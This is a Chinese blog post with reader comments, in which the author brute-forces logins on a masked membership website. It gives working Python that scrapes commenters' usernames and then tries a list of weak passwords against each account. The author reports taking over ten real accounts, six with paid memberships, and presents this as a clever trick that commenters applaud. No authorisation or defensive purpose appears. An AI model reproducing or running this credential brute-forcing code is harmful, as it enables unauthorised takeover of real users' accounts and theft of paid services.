用python爆破某会员网站

作者: 爷是奥巴马 | 来源:发表于2017-08-22 14:37 被阅读2477次

    暑假在家上网,qq群里一位好友给我说他想要某个网站的会员,ps(是个小网站),本着助人为乐的精神我去踩了点。。。

    是吗

    然后就有了思路(骚操作)

    先讲一下思路

    1 .先注册用户登录
    2.flidder抓包
    3.python 模拟登录
    4.在评论区抓取评论的用户名
    5.弱密码爆破

    登录

    登录页面如下

    登录页面.png

    flidder抓包

    抓包之后发现有以下几个字段

            'log': 'admin',   # 用户名
            'pwd': 'admin',  # 密码  
            'wp-submit': '登录',
            'redirect_to': '',
            'wpuf_login': 'true',
    
            'action': 'login',
            '_wpnonce': '4b4e82f670',
            '_wp_http_referer': '/%e7%99%bb%e5%bd%95?loggedout=true'
    

    只要用户名和密码不同,其他的不变

    python 模拟登录

    这部分就比较简单,用到requests模块

    import re
    import requests
    
    
    def baopo(log):
        url = 'http://XXXXXX.com/%e7%99%bb%e5%bd%95'
    
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
            'Referer': 'http://XXXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true'     #网站打码
        }
    
        data = {
            'log': log,
            'pwd': 'admin',
            'wp-submit': '登录',
            'redirect_to': '',
            'wpuf_login': 'true',
    
            'action': 'login',
            '_wpnonce': '4b4e82f670',
            '_wp_http_referer': '/%e7%99%bb%e5%bd%95?loggedout=true'
        }
    
        a = requests.post(url, headers=headers, data=data)
        if a.history == []:
            return False
        else:
            return True
    

    得到用户名

    这部分主要用到正则模块匹配就行了

    import re
    import requests
    def gethtml(url):
      headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
          'Referer': 'http://XXXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true'
      }
    
      html = requests.get(url, headers=headers)
    
      return html.text
    
    
    
    
    for i in range(30,36):
      if i == 1:
          url = 'http:/XXXXXX.com/'
      else:
          url = 'http://XXXXXXX.com/page/' + str(i)
    
      html = gethtml(url)
    
      for each in re.findall('<a href="(.*?)" class="zoom" rel="bookmark"', html):
          print(each)
          if int(each[-4:].replace('/','').replace('s','')) < 100:
              for each2 in re.findall('<strong>(.*?)</strong>:', gethtml(each)):
                  if 'href' in each2:
                      each2 = re.findall("class='url'>(.*?)</a>", each2)[0]
                  f = open('yonghu.txt','a+',encoding='utf-8')
                  f.write(each2)
                  f.write('\n')
                  f.close()
                  print(each2)
    

    得到用户名保存在yonghu.txt文件里

    开始爆破

    本来想加上多线程,但因为网站太垃圾了,访问过快会限制,那就算了吧。。。

    import requests
    import multiprocessing
    
    
    
    def baopo(log):
      url = 'http://XXXXX.com/%e7%99%bb%e5%bd%95'
    
      headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
          'Referer': 'http://XXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true'
      }
    
      pwd =['000000','111111','11111111','112233','123123','123321','123456','12345678','654321','666666','888888','abcdef','abcabc',\
            'abc123','a1b2c3','aaa111','123qwe','qwerty','qweasd','admin',\
            'password','p@ssword','passwd','iloveyou','5201314','88888888','147258369','1234567890']
    
      pwd.append(log)
    
      for each in pwd:
          print('using>>>'+each)
          data = {
              'log': log,
              'pwd': each,
              'wp-submit': '登录',
              'redirect_to': '',
              'wpuf_login': 'true',
    
              'action': 'login',
              '_wpnonce': '4b4e82f670',
              '_wp_http_referer': '/%e7%99%bb%e5%bd%95?loggedout=true'
          }
    
          a = requests.post(url, headers=headers, data=data)
          if a.history == []:
              continue
          else:
              f = open('success.txt','a+',encoding='utf-8')
              f.write('User:')
              f.write(log)
              f.write('  Passwd:')
              f.write(each)
              print('succeed!\n')
              return True
    
    
    f = open('yonghu.txt','r', encoding='utf-8')
    
    yonghuming = set()
    yonghuming.add('adminn')
    
    for line in f.readlines():
      line = line.strip()
      yonghuming.add(line)
    
    if __name__ == '__main__':
    
    
      for each in yonghuming:
          #p = multiprocessing.Process(target=baopo, args=(each,))
          #p.start()
          print(each)
          baopo(each)
    #print(yonghuming)
    
    

    运行效果图

    运行效果 成功爆破

    收获

    timg.jpg

    放在服务器上跑了一晚,爆出来10个账号,其中6个充值了会员,美吱吱

    美吱吱

    文章原创

    相关文章

      网友评论

      • b81615760393:博主,我的fiddler运行起来,没反应,抓去不到浏览器的数据
        爷是奥巴马:@酒醉漾人心 重启浏览器,重启fiddler,重启电脑三件套😉
      • 极客Array:这个可怕
      • a81028616321:请问 a.history 是什么意思?
        爷是奥巴马:@235_5df3 这个是通过判断链接是否发生跳转确定是否登陆成功
      • geekape:厉害了大佬
        爷是奥巴马: @运营狮 没问题😄
        geekape:@爷是奥巴马 正在努力学习python中,有问题可以向大神您请教吗?
        爷是奥巴马: @运营狮 我是渣渣
      • 821057a5c168:大佬受我一拜
        爷是奥巴马: @清纯无邪小迷妹 哇,我不是大佬,这么晚该睡了哦٩(๛ ˘ ³˘)۶
      • 红衫军:如果对爱奇艺这种视频会员,如何获取会员
        红衫军: @爷是奥巴马 😳😭😭😭😭😭
        爷是奥巴马: @红衫军 不会,只是给大家提供一个思路,寻找学习动力,那些大厂的会员就别想了😋
      • 82709210c359:密码字典 怎么来的 嘿嘿:sunglasses:
        爷是奥巴马: @雨晨子龙 是啊*٩(๑´∀`๑)ง*
        雨晨子龙:都是一些用户常用的密码。一个个试的哇。
        爷是奥巴马: @Aric 在源码里有啊,就二三十个左右,百度来的😋
      • TinXie:原來還可以這樣使用...
        爷是奥巴马: @幾分甜 互相学习蛤,这两天突然好多点赞关注的,关注都快突破20了,贼鸡儿怕😂
        TinXie:@爷是奥巴马 學習了~ 😀
        爷是奥巴马: @幾分甜 惊喜不惊喜
      • 130faa65ac75:还有这种操作,学习了,我都是想着看能不能绕过他的验证会员机制。。。
        爷是奥巴马: @一线城市十八线程序猿 哈哈
      • 仙宇:以前也想过,不过没实现过。:yum:
        爷是奥巴马: @仙宇 咦~,突然收到好多喜欢😄
      • 李易之:哈哈哈,找到学习的动力了,装逼😋😋
        爷是奥巴马: @自由之翼ncl 哈哈,我也是觉得有趣才玩的😉
      • a9813e2ee665:可以666
        爷是奥巴马: @浏洋_8ca2 哈哈
      • brisy123:账号遍历试密码吗?会不会有密码错误次数限制
        爷是奥巴马: @brisyramshere 小网站,不存在的😋
      • 爷是奥巴马:第一次发文章
        爷是奥巴马: @撵规 哈哈😄
        撵规:厉害了 我的哥

      本文标题:用python爆破某会员网站

      本文链接:https://www.haomeiwen.com/subject/sycldxtx.html